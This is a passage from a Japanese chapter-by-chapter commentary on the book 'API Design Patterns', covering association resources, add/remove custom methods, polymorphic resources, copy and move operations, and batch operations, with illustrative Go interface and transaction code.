参照整合性を維持するための追加の仕組みが必要になります。これらの利点と課題を考慮しながら、関連リソースパターンの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: 関連リソースのパターンは、マイクロサービス間のデータの関連付けに直接適用できます。例えば、ユーザーサービスとグループサービスの間の関係を管理する独立したサービスとして実装することができます。スケーラビリティとパフォーマンス: 関連リソースを独立して管理することで、システムのスケーラビリティが向上します。ただし、関連データの取得に追加のAPI呼び出しが必要になる可能性があるため、パフォーマンスとのバランスを取る必要があります。このトレードオフを管理するために、キャッシング戦略やバッチ処理の導入を検討する必要があるでしょう。データ整合性と可用性のトレードオフ: 参照整合性を厳密に維持しようとすると、システムの可用性が低下する可能性があります。一方で、緩やかな整合性を許容すると、無効な関連が一時的に存在する可能性があります。このトレードオフを適切に管理するために、非同期の整合性チェックやイベント駆動型のアーキテクチャの導入を検討することができます。APIの進化と後方互換性: 関連リソースパターンを採用することで、APIの進化が容易になります。新しいタイプの関連や追加のメタデータを導入する際に、既存のクライアントに影響を与えることなく拡張できます。監視と運用: 関連リソースを使用する場合、無効な関連の発生を監視し、必要に応じて修正するプロセスを確立することが重要です。また、関連リソースの数が増加した場合のパフォーマンスの影響や、ストレージの使用量なども監視する必要があります。セキュリティとアクセス制御: 関連リソースに対するアクセス制御を適切に設計することが重要です。例えば、ユーザーがグループのメンバーシップを表示したり変更したりする権限を、きめ細かく制御する必要があります。クエリの最適化: 関連リソースを効率的に取得するためのクエリパラメータやフィルタリングオプションを提供することが重要です。例えば、特定のユーザーが所属するすべてのグループを一度に取得するような最適化されたエンドポイントを提供することを検討できます。バルク操作のサポート: 大量の関連を一度に作成、更新、削除する必要がある場合、バルク操作をサポートすることで効率性を向上させることができます。イベント駆動設計との統合: 関連リソースの変更(作成、更新、削除)をイベントとして発行することで、他のサービスやシステムコンポーネントが適切に反応し、全体的な整合性を維持することができます。ドキュメンテーションと開発者エクスペリエンス: 関連リソースの概念と使用方法を明確にドキュメント化し、開発者がこのパターンを効果的に利用できるようにすることが重要です。API利用者が関連リソースを簡単に作成、管理、クエリできるようなツールやSDKを提供することも検討すべきです。結論第14章「Association resources」は、多対多の関係を持つリソース間の関連性を管理するための重要なパターンを提供しています。このパターンは、APIの柔軟性、スケーラビリティ、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。関連リソースは、多対多の関係を独立したエンティティとして扱うことで、複雑な関係の管理を容易にします。標準的なCRUD操作をサポートし、関連性に関する追加のメタデータを管理できるようにすることが重要です。一意性制約と参照整合性の維持は、関連リソースの設計において重要な考慮事項です。このパターンは柔軟性と拡張性を提供しますが、APIの複雑性とパフォーマンスへの影響を慎重に検討する必要があります。マイクロサービスアーキテクチャやクラウドネイティブ環境において、このパターンは特に有用です。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、現代の複雑な分散システムにおける効果的なデータ管理と関係性の表現に直接的に適用可能です。関連リソースのパターンを採用する際は、システム全体のアーキテクチャと密接に関連付けて考える必要があります。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。関連リソースパターンの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。また、このパターンは、ビジネスロジックの変更や新しい要件の追加に対して柔軟に対応できる基盤を提供します。最後に、関連リソースパターンの採用は、単なる技術的な決定ではなく、ビジネス要件とシステムの長期的な目標を考慮した戦略的な選択であるべきです。適切に実装された関連リソースは、複雑なビジネスルールや関係性を効果的に表現し、システムの価値を長期的に高めることができます。API設計者とシステム設計者は、この強力なパターンを理解し、適切に活用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。15 Add and remove custom methods「API Design Patterns」の第15章「Add and remove custom methods」は、多対多の関係を持つリソース間の関連性を管理するための代替パターンについて詳細に解説しています。この章を通じて、著者はカスタムのaddおよびremoveメソッドを使用して、関連リソースを導入せずに多対多の関係を管理する方法とそのトレードオフについて明確に示しています。動機と概要著者は、前章で紹介した関連リソースパターンが柔軟性が高い一方で、複雑さも増すことを指摘しています。そこで、より単純なアプローチとして、カスタムのaddおよびremoveメソッドを使用する方法を提案しています。このパターンは、関係性に関するメタデータを保存する必要がない場合や、APIの複雑さを抑えたい場合に特に有効です。このアプローチの核心は、リソース間の関係性を管理するための専用のリソース(関連リソース)を作成せず、代わりに既存のリソースに対してaddとremoveの操作を行うことです。例えば、ユーザーとグループの関係を管理する場合、AddGroupUserやRemoveGroupUserといったメソッドを使用します。この設計パターンは、マイクロサービスアーキテクチャにおいて特に興味深い応用が考えられます。例えば、ユーザー管理サービスとグループ管理サービスが分離されている環境で、これらのサービス間の関係性を簡潔に管理する方法として活用できます。このパターンを採用することで、サービス間の結合度を低く保ちつつ、必要な関係性を効率的に管理することが可能になります。著者は、このパターンの主な制限事項として以下の2点を挙げています。関係性に関するメタデータを保存できないリソース間の関係性に方向性が生まれる(管理するリソースと管理されるリソースが明確に分かれる)これらの制限は、システムの設計と実装に大きな影響を与える可能性があるため、慎重に検討する必要があります。実装の詳細著者は、addおよびremoveカスタムメソッドの実装について詳細なガイダンスを提供しています。主なポイントは以下の通りです。メソッド名の規則: AddおよびRemoveの形式を使用します。例えば、AddGroupUserやRemoveGroupUserといった具合です。リクエストの構造: これらのメソッドは、管理するリソース(親リソース)と関連付けるリソースのIDを含むリクエストを受け取ります。関連リソースの一覧取得: 関連付けられたリソースの一覧を取得するために、カスタムのリストメソッドを提供します。例えば、ListGroupUsersやListUserGroupsといったメソッドです。データの整合性: 重複した関連付けや存在しない関連の削除といった操作に対して、適切なエラーハンドリングを実装する必要があります。これらの原則を適用した実装例を、Golangを用いて示すと以下のようになります。type GroupService interface { AddGroupUser(ctx context.Context, groupID, userID string) error RemoveGroupUser(ctx context.Context, groupID, userID string) error ListGroupUsers(ctx context.Context, groupID string, pageToken string, pageSize int) ([]*User, string, error) ListUserGroups(ctx context.Context, userID string, pageToken string, pageSize int) ([]*Group, string, error)}func (s *groupService) AddGroupUser(ctx context.Context, groupID, userID string) error { // 実装の詳細... // 重複チェック、存在チェック、データベース操作など return nil}func (s *groupService) RemoveGroupUser(ctx context.Context, groupID, userID string) error { // 実装の詳細... // 存在チェック、データベース操作など return nil}func (s *groupService) ListGroupUsers(ctx context.Context, groupID string, pageToken string, pageSize int) ([]*User, string, error) { // 実装の詳細... // ページネーション処理、データベースクエリなど return users, nextPageToken, nil}この実装例では、GroupServiceインターフェースがaddとremoveのカスタムメソッド、および関連リソースの一覧を取得するためのメソッドを定義しています。これらのメソッドは、グループとユーザー間の関係性を管理するための基本的な操作を提供します。利点と課題著者は、このパターンの主な利点と課題について詳細に論じています。利点:シンプルさ: 関連リソースを導入せずに多対多の関係を管理できるため、APIの構造がシンプルになります。実装の容易さ: 既存のリソースに対するカスタムメソッドとして実装できるため、新しいリソースタイプを導入する必要がありません。パフォーマンス: 関連リソースを介さずに直接操作できるため、特定のシナリオではパフォーマンスが向上する可能性があります。課題:メタデータの制限: 関係性に関する追加のメタデータ(例:関連付けられた日時、関連の種類など)を保存できません。方向性の制約: リソース間の関係に明確な方向性が生まれるため、一部のユースケースでは直感的でない設計になる可能性があります。柔軟性の低下: 関連リソースパターンと比較して、関係性の表現や操作の柔軟性が低下します。これらの利点と課題を考慮しながら、システムの要件に応じてこのパターンの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティとパフォーマンス: addとremoveカスタムメソッドを使用することで、特定のシナリオではシステムのスケーラビリティとパフォーマンスが向上する可能性があります。例えば、大規模なソーシャルネットワークアプリケーションで、ユーザー間のフォロー関係を管理する場合、このパターンを使用することで、関連リソースを介さずに直接的かつ効率的に関係性を操作できます。運用の簡素化: このパターンを採用することで、関連リソースの管理が不要になるため、システムの運用が簡素化される可能性があります。例えば、データベースのスキーマがシンプルになり、マイグレーションやバックアップの複雑さが軽減されます。マイクロサービスアーキテクチャとの親和性: このパターンは、マイクロサービス間の関係性を管理する際に特に有用です。例えば、ユーザーサービスとコンテンツサービスが分離されている環境で、ユーザーがコンテンツに「いいね」をつける機能を実装する場合、このパターンを使用することで、サービス間の結合度を低く保ちつつ、必要な関係性を効率的に管理することができます。API進化の容易さ: 関連リソースを導入せずに関係性を管理できるため、APIの進化が容易になる可能性があります。新しい種類の関係性を追加する際に、既存のリソースに新しいカスタムメソッドを追加するだけで対応できます。監視と可観測性: addとremoveの操作が明示的なメソッドとして定義されているため、これらの操作の頻度や性能を直接的に監視しやすくなります。これにより、システムの挙動をより細かく把握し、最適化の機会を見出すことができます。セキュリティとアクセス制御: カスタムメソッドを使用することで、関係性の操作に対する細かなアクセス制御を実装しやすくなります。例えば、特定のユーザーグループのみがグループにメンバーを追加できるようにするといった制御が容易になります。バッチ処理とバルク操作: このパターンは、大量の関係性を一度に操作する必要がある場合にも適しています。例えば、AddGroupUsersやRemoveGroupUsersといったバルク操作用のメソッドを追加することで、効率的な処理が可能になります。イベント駆動アーキテクチャとの統合: addやremove操作をイベントとして発行することで、システム全体の反応性と柔軟性を向上させることができます。例えば、ユーザーがグループに追加されたときに、通知サービスや権限管理サービスにイベントを発行し、適切なアクションを起こすことができます。結論第15章「Add and remove custom methods」は、多対多の関係を管理するための代替パターンとして、カスタムのaddおよびremoveメソッドの使用を提案しています。このパターンは、APIの複雑さを抑えつつ、効率的に関係性を管理したい場合に特に有効です。特に重要な点は以下の通りです。このパターンは、関連リソースを導入せずに多対多の関係を管理できるため、APIの構造をシンプルに保つことができます。addとremoveのカスタムメソッドを使用することで、関係性の操作が明示的かつ直感的になります。関係性に関するメタデータを保存できないという制限があるため、適用する前にユースケースを慎重に検討する必要があります。このパターンは、マイクロサービスアーキテクチャやイベント駆動アーキテクチャとの親和性が高く、効率的なシステム設計を可能にします。運用の簡素化、監視の容易さ、セキュリティ制御の柔軟性など、システム全体の管理性向上にも貢献します。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、現代の複雑な分散システムにおける効果的なデータ管理と関係性の表現に直接的に適用可能です。ただし、このパターンの採用を検討する際は、システムの要件と制約を慎重に評価する必要があります。関係性に関するメタデータが重要である場合や、リソース間の関係に明確な方向性を持たせたくない場合は、前章で紹介された関連リソースパターンの方が適している可能性があります。最後に、API設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。addとremoveカスタムメソッドのパターンを採用する際は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にどのように貢献するかを常に考慮する必要があります。適切に実装されたこのパターンは、システムの進化と拡張を容易にし、長期的な保守性を向上させる強力なツールとなります。API設計者とシステム設計者は、このパターンの利点と制限を十分に理解し、プロジェクトの要件に応じて適切に適用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境において、このパターンは複雑な関係性を効率的に管理するための強力な選択肢となり得ます。16 Polymorphism「API Design Patterns」の第16章「Polymorphism」は、APIにおけるポリモーフィズムの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はオブジェクト指向プログラミングの強力な概念であるポリモーフィズムをAPIデザインに適用する方法と、それがAPIの柔軟性、保守性、そして長期的な進化可能性にどのように影響を与えるかを明確に示しています。ポリモーフィズムの必要性と概要著者は、オブジェクト指向プログラミング(OOP)におけるポリモーフィズムの概念から議論を始めています。ポリモーフィズムは、異なる具体的な型に対して共通のインターフェースを使用する能力を提供し、特定の型と対話する際に理解する必要がある実装の詳細を最小限に抑えます。著者は、この強力な概念をオブジェクト指向プログラミングの世界からリソース指向のAPIデザインの世界に翻訳する方法を探求しています。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、メッセージングサービスを考えてみましょう。テキストメッセージ、画像メッセージ、音声メッセージなど、様々な種類のメッセージが存在する可能性があります。これらのメッセージタイプは共通の特性(送信者、タイムスタンプなど)を持ちながら、それぞれ固有の属性(テキスト内容、画像URL、音声ファイルの長さなど)も持っています。ポリモーフィックリソースを使用することで、これらの異なるメッセージタイプを単一のMessageリソースとして扱い、共通の操作(作成、取得、一覧表示など)を提供しつつ、各タイプに固有の属性や振る舞いを維持することができます。これにより、APIの一貫性が向上し、クライアントの実装が簡素化されます。著者は、ポリモーフィックリソースの基本的な構造として以下の要素を提案しています。一意の識別子リソースのタイプを示す明示的なフィールド共通の属性タイプ固有の属性これらの要素を組み合わせることで、APIは柔軟で拡張可能なリソース表現を提供することができます。ポリモーフィックリソースの実装著者は、ポリモーフィックリソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。タイプフィールドの定義: リソースのタイプを示すフィールドは、単純な文字列として実装することが推奨されています。これにより、新しいタイプの追加が容易になります。データ構造: ポリモーフィックリソースは、すべてのサブタイプの属性をカバーするスーパーセットとして設計されます。これにより、各タイプに固有の属性を柔軟に扱うことができます。バリデーション: タイプに応じて異なるバリデーションルールを適用する必要があります。例えば、テキストメッセージと画像メッセージでは、contentフィールドの有効な値が異なります。標準メソッドの実装: ポリモーフィックリソースに対する標準的なCRUD操作は、通常のリソースと同様に実装されますが、タイプに応じて異なる振る舞いを持つ可能性があります。これらの原則を適用した、Golangでのポリモーフィックリソースの実装例を以下に示します。type MessageType stringconst ( TextMessage MessageType = \"text\" ImageMessage MessageType = \"image\" AudioMessage MessageType = \"audio\")type Message struct { ID string `json:\"id\"` Type MessageType `json:\"type\"` Sender string `json:\"sender\"` Timestamp time.Time `json:\"timestamp\"` Content interface{} `json:\"content\"`}type TextContent struct { Text string `json:\"text\"`}type ImageContent struct { URL string `json:\"url\"` Width int `json:\"width\"` Height int `json:\"height\"`}type AudioContent struct { URL string `json:\"url\"` Duration float64 `json:\"duration\"`}func (m *Message) Validate() error { switch m.Type { case TextMessage: if _, ok := m.Content.(TextContent); !ok { return errors.New(\"invalid content for text message\") } case ImageMessage: if _, ok := m.Content.(ImageContent); !ok { return errors.New(\"invalid content for image message\") } case AudioMessage: if _, ok := m.Content.(AudioContent); !ok { return errors.New(\"invalid content for audio message\") } default: return errors.New(\"unknown message type\") } return nil}この実装例では、Message構造体がポリモーフィックリソースを表現し、Contentフィールドがinterface{}型を使用することで、異なるタイプのコンテンツを柔軟に扱えるようになっています。Validateメソッドは、メッセージタイプに応じて適切なバリデーションを行います。ポリモーフィズムの利点と課題著者は、APIにおけるポリモーフィズムの利点と課題について詳細に論じています。利点:柔軟性: 新しいリソースタイプを追加する際に、既存のAPIメソッドを変更する必要がありません。一貫性: 共通の操作を単一のインターフェースで提供することで、APIの一貫性が向上します。クライアントの簡素化: クライアントは、異なるタイプのリソースを統一的に扱うことができます。課題:複雑性の増加: ポリモーフィックリソースの設計と実装は、単一タイプのリソースよりも複雑になる可能性があります。パフォーマンス: タイプに応じた処理が必要なため、一部のケースでパフォーマンスが低下する可能性があります。バージョニングの難しさ: 新しいタイプの追加や既存タイプの変更が、既存のクライアントに影響を与える可能性があります。これらの利点と課題を考慮しながら、ポリモーフィズムの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: ポリモーフィックリソースは、マイクロサービス間でのデータの一貫した表現に役立ちます。例えば、通知サービスが様々な種類の通知(メール、プッシュ通知、SMSなど)を統一的に扱う場合に有用です。スケーラビリティとパフォーマンス: ポリモーフィックリソースを適切に設計することで、新しいリソースタイプの追加が容易になり、システムの拡張性が向上します。ただし、タイプチェックやバリデーションのオーバーヘッドに注意が必要です。運用の簡素化: 共通のインターフェースを使用することで、監視、ログ記録、デバッグなどの運用タスクが簡素化される可能性があります。例えば、すべてのメッセージタイプに対して統一的なログフォーマットを使用できます。APIの進化と後方互換性: ポリモーフィックリソースを使用することで、新しいリソースタイプの追加が容易になります。ただし、既存のタイプを変更する際は、後方互換性に十分注意を払う必要があります。ドキュメンテーションと開発者エクスペリエンス: ポリモーフィックリソースの概念と使用方法を明確にドキュメント化し、開発者がこのパターンを効果的に利用できるようにすることが重要です。バリデーションとエラーハンドリング: タイプに応じた適切なバリデーションを実装し、エラーメッセージを明確に定義することが重要です。これにより、APIの信頼性と使いやすさが向上します。キャッシング戦略: ポリモーフィックリソースのキャッシングは複雑になる可能性があります。タイプに応じて異なるキャッシュ戦略を適用することを検討する必要があります。セキュリティとアクセス制御: 異なるタイプのリソースに対して、適切なアクセス制御を実装することが重要です。例えば、特定のユーザーが特定のタイプのメッセージのみを作成できるようにする場合などです。ポリモーフィックメソッドの回避著者は、ポリモーフィックリソースの使用を推奨する一方で、ポリモーフィックメソッド(複数の異なるリソースタイプで動作する単一のAPIメソッド)の使用を強く警告しています。これは非常に重要な指摘です。ポリモーフィックメソッドは、一見すると便利に見えますが、長期的には多くの問題を引き起こす可能性があります。柔軟性の欠如: 異なるリソースタイプが将来的に異なる振る舞いを必要とする可能性があります。ポリモーフィックメソッドはこの柔軟性を制限します。複雑性の増加: メソッド内で多くの条件分岐が必要になり、コードの複雑性が増加します。バージョニングの難しさ: 一部のリソースタイプに対してのみ変更を加えたい場合、既存のクライアントに影響を与えずにそれを行うことが困難になります。ドキュメンテーションの複雑さ: 様々なリソースタイプに対する振る舞いを明確にドキュメント化することが難しくなります。代わりに、著者は各リソースタイプに対して個別のメソッドを定義することを推奨しています。これにより、APIの柔軟性と保守性が向上します。結論第16章「Polymorphism」は、APIにおけるポリモーフィズムの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、拡張性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ポリモーフィックリソースは、異なるサブタイプを持つリソースを効果的に表現し、管理するための強力なツールです。タイプフィールドを使用してリソースのサブタイプを明示的に示すことで、APIの柔軟性と拡張性が向上します。ポリモーフィックリソースの設計には慎重な考慮が必要で、特にデータ構造とバリデーションに注意を払う必要があります。ポリモーフィックメソッドは避けるべきで、代わりに各リソースタイプに対して個別のメソッドを定義することが推奨されます。ポリモーフィズムの適用は、APIの一貫性を向上させつつ、将来的な拡張性を確保するための効果的な手段となります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、ポリモーフィズムの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。ポリモーフィズムの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。Part 5 Collective operationsこのパートでは、複数のリソースを一度に操作する方法について議論されています。コピーと移動、バッチ操作、条件付き削除、匿名書き込み、ページネーション、フィルタリング、インポートとエクスポートなど、大量のデータや複雑な操作を効率的に扱うための手法が紹介されています。これらの操作は、特に大規模なシステムやデータ集約型のアプリケーションにおいて重要です。17 Copy and move「API Design Patterns」の第17章「Copy and move」は、APIにおけるリソースのコピーと移動操作の実装方法、その複雑さ、そしてトレードオフについて詳細に論じています。この章を通じて、著者はこれらの操作が一見単純に見えるものの、実際には多くの考慮事項と課題を含む複雑な問題であることを明確に示しています。コピーと移動操作の必要性と概要著者は、理想的な世界ではリソースの階層関係が完璧に設計され、不変であるべきだと指摘しています。しかし現実には、ユーザーの誤りや要件の変更により、リソースの再配置や複製が必要になることがあります。この問題に対処するため、著者はカスタムメソッドを使用したコピーと移動操作の実装を提案しています。これらの操作は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービス間でデータを移動したり、テスト環境から本番環境にリソースをコピーしたりする際に、これらの操作が必要になります。著者は、コピーと移動操作の基本的な構造として以下の要素を提案しています。カスタムメソッドの使用(標準のCRUD操作ではなく)対象リソースの識別子目的地(新しい親リソースまたは新しい識別子)これらの要素を組み合わせることで、APIは柔軟かつ制御可能なコピーと移動操作を提供することができます。実装の詳細と課題著者は、コピーと移動操作の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。識別子の扱い: コピー操作では、新しいリソースの識別子をどのように決定するか(ユーザー指定か、システム生成か)を慎重に検討する必要があります。移動操作では、識別子の変更が許可されるかどうかを考慮する必要があります。子リソースの扱い: 親リソースをコピーまたは移動する際、子リソースをどのように扱うかを決定する必要があります。著者は、一般的に子リソースも一緒にコピーまたは移動すべきだと提案しています。関連リソースの扱い: リソース間の参照関係をどのように維持するかを考慮する必要があります。特に移動操作では、関連リソースの参照を更新する必要があります。外部データの扱い: 大容量のデータ(例:ファイルの内容)をどのように扱うかを決定する必要があります。著者は、コピー操作では「copy-on-write」戦略を推奨しています。継承されたメタデータの扱い: 親リソースから継承されたメタデータ(例:アクセス制御ポリシー)をどのように扱うかを考慮する必要があります。アトミック性の確保: 操作全体のアトミック性をどのように確保するかを検討する必要があります。データベーストランザクションの使用や、ポイントインタイムスナップショットの利用が推奨されています。これらの課題に対処するため、著者は具体的な実装戦略を提案しています。例えば、Golangを用いてコピー操作を実装する場合、以下のようなコードが考えられます。type CopyRequest struct { SourceID string `json:\"sourceId\"` DestinationID string `json:\"destinationId,omitempty\"`}func (s *Service) CopyResource(ctx context.Context, req CopyRequest) (*Resource, error) { // トランザクションの開始 tx, err := s.db.BeginTx(ctx, nil) if err != nil { return nil, err } defer tx.Rollback() // ソースリソースの取得 source, err := s.getResourceWithinTx(tx, req.SourceID) if err != nil { return nil, err } // 新しい識別子の生成(または検証) destID := req.DestinationID if destID == \"\" { destID = generateNewID() } else if exists, _ := s.resourceExistsWithinTx(tx, destID); exists { return nil, ErrResourceAlreadyExists } // リソースのコピー newResource := copyResource(source, destID) // 子リソースのコピー if err := s.copyChildResourcesWithinTx(tx, source.ID, newResource.ID); err != nil { return nil, err } // 新しいリソースの保存 if err := s.saveResourceWithinTx(tx, newResource); err != nil { return nil, err } // トランザクションのコミット if err := tx.Commit(); err != nil { return nil, err } return newResource, nil}このコードは、データベーストランザクションを使用してコピー操作のアトミック性を確保し、子リソースも含めてコピーを行っています。また、目的地の識別子が指定されていない場合は新しい識別子を生成し、指定されている場合は既存リソースとの衝突をチェックしています。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティとパフォーマンス: コピーや移動操作は、大量のデータを扱う可能性があるため、システムのスケーラビリティとパフォーマンスに大きな影響を与えます。特に、大規模なリソース階層を持つシステムでは、これらの操作の効率的な実装が重要になります。データの整合性: コピーや移動操作中にデータの整合性を維持することは、システムの信頼性にとって極めて重要です。特に、分散システムにおいては、これらの操作のアトミック性を確保することが大きな課題となります。APIの進化と後方互換性: コピーや移動操作の導入は、APIの大きな変更となる可能性があります。既存のクライアントとの互換性を維持しつつ、これらの操作をどのように導入するかを慎重に検討する必要があります。セキュリティとアクセス制御: リソースのコピーや移動は、セキュリティモデルに大きな影響を与える可能性があります。特に、異なるセキュリティコンテキスト間でリソースを移動する場合、適切なアクセス制御の実装が重要になります。運用の複雑さ: コピーや移動操作の導入は、システムの運用複雑性を増大させる可能性があります。これらの操作のモニタリング、トラブルシューティング、そして必要に応じたロールバック手順の確立が重要になります。イベント駆動アーキテクチャとの統合: コピーや移動操作をイベントとして発行することで、システム全体の一貫性を維持しやすくなります。例えば、リソースが移動されたときにイベントを発行し、関連するサービスがそれに反応して必要な更新を行うことができます。結論第17章「Copy and move」は、APIにおけるリソースのコピーと移動操作の重要性と、その実装に伴う複雑さを明確に示しています。著者の提案する設計原則は、これらの操作を安全かつ効果的に実装するための重要な指針となります。特に重要な点は以下の通りです。コピーと移動操作は、カスタムメソッドとして実装すべきであり、標準的なCRUD操作では適切に処理できません。これらの操作は、子リソースや関連リソースにも影響を与えるため、その影響範囲を慎重に考慮する必要があります。データの整合性とアトミック性の確保が極めて重要であり、適切なトランザクション管理やスナップショット機能の利用が推奨されます。外部データやメタデータの扱い、特に大容量データの効率的な処理方法を考慮する必要があります。これらの操作の導入は、システムの複雑性を増大させる可能性があるため、その必要性を慎重に評価する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、コピーと移動操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。コピーと移動操作の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。しかし、同時にこれらの操作は系統的なリスクをもたらす可能性があるため、その導入には慎重な検討が必要です。API設計者とシステム設計者は、これらの操作の利点とリスクを十分に理解し、システムの要件に応じて適切に適用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。18 Batch operations「API Design Patterns」の第18章「Batch operations」は、APIにおけるバッチ操作の重要性、設計原則、実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はバッチ操作が単なる利便性の向上だけでなく、APIの効率性、スケーラビリティ、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。バッチ操作の必要性と概要著者は、個々のリソースに対する操作だけでなく、複数のリソースを一度に操作する必要性から議論を始めています。特に、データベースシステムにおけるトランザクションの概念を引き合いに出し、Webベースのシステムにおいても同様の原子性を持つ操作が必要であることを強調しています。バッチ操作の重要性は、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において顕著です。例えば、複数のサービス間でデータの一貫性を保ちながら大量のリソースを更新する必要がある場合、個別のAPI呼び出しでは効率が悪く、エラーハンドリングも複雑になります。バッチ操作を適切に設計することで、これらの問題を解決し、システム全体の効率性と信頼性を向上させることができます。著者は、バッチ操作を実現するための主要な方法として、標準メソッド(Get、Create、Update、Delete)に対応するバッチバージョンのカスタムメソッドを提案しています。BatchGetBatchCreateBatchUpdateBatchDeleteこれらのメソッドは、複数のリソースに対する操作を単一のAPI呼び出しで実行することを可能にします。バッチ操作の設計原則著者は、バッチ操作の設計に関していくつかの重要な原則を提示しています。原子性: バッチ操作は全て成功するか、全て失敗するかのいずれかであるべきです。部分的な成功は許容されません。コレクションに対する操作: バッチメソッドは、個々のリソースではなく、リソースのコレクションに対して操作を行うべきです。結果の順序保持: バッチ操作の結果は、リクエストで指定されたリソースの順序を保持して返すべきです。共通フィールドの最適化: リクエスト内で共通のフィールドを持つ場合、それらを「持ち上げ」て重複を避けるべきです。複数の親リソースに対する操作: 必要に応じて、異なる親リソースに属するリソースに対するバッチ操作をサポートすべきです。これらの原則は、バッチ操作の一貫性、効率性、そして使いやすさを確保する上で重要です。特に、原子性の保証は、システムの一貫性を維持し、複雑なエラーハンドリングを回避する上で非常に重要です。実装の詳細著者は、各バッチ操作メソッドの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。BatchGet: IDのリストを受け取り、対応するリソースのリストを返します。HTTP GETメソッドを使用し、IDはクエリパラメータとして渡されます。BatchCreate: 作成するリソースのリストを受け取り、作成されたリソースのリストを返します。HTTP POSTメソッドを使用します。BatchUpdate: 更新するリソースのリストとフィールドマスクを受け取り、更新されたリソースのリストを返します。HTTP POSTメソッドを使用します。BatchDelete: 削除するリソースのIDリストを受け取り、操作の成功を示すvoid型を返します。HTTP POSTメソッドを使用します。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangを用いてバッチ操作を実装する場合、以下のようなインターフェースとメソッドが考えられます。type BatchService interface { BatchGet(ctx context.Context, ids []string) ([]*Resource, error) BatchCreate(ctx context.Context, resources []*Resource) ([]*Resource, error) BatchUpdate(ctx context.Context, updates []*ResourceUpdate) ([]*Resource, error) BatchDelete(ctx context.Context, ids []string) error}type ResourceUpdate struct { ID string UpdateMask []string Resource *Resource}func (s *service) BatchGet(ctx context.Context, ids []string) ([]*Resource, error) { // トランザクションの開始 tx, err := s.db.BeginTx(ctx, nil) if err != nil { return nil, err } defer tx.Rollback() resources := make([]*Resource, len(ids)) for i, id := range ids { resource, err := s.getResourceWithinTx(tx, id) if err != nil { return nil, err // 1つでも失敗したら全体を失敗とする } resources[i] = resource } if err := tx.Commit(); err != nil { return nil, err } return resources, nil}この実装例では、BatchGetメソッドがトランザクションを使用して原子性を確保し、1つのリソースの取得に失敗した場合は全体を失敗として扱っています。バッチ操作の影響とトレードオフ著者は、バッチ操作の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: バッチ操作は、ネットワーク呼び出しの回数を減らし、全体的なスループットを向上させる可能性があります。しかし、大規模なバッチ操作は、サーバーリソースに大きな負荷をかける可能性もあります。エラーハンドリングの複雑さ: 原子性を保証することで、エラーハンドリングが簡素化されます。しかし、全て成功するか全て失敗するかの動作は、一部のユースケースでは不便な場合があります。API設計の一貫性: バッチ操作の導入は、API全体の設計に一貫性をもたらす可能性がありますが、同時に新たな複雑さも導入します。システムの復元力: 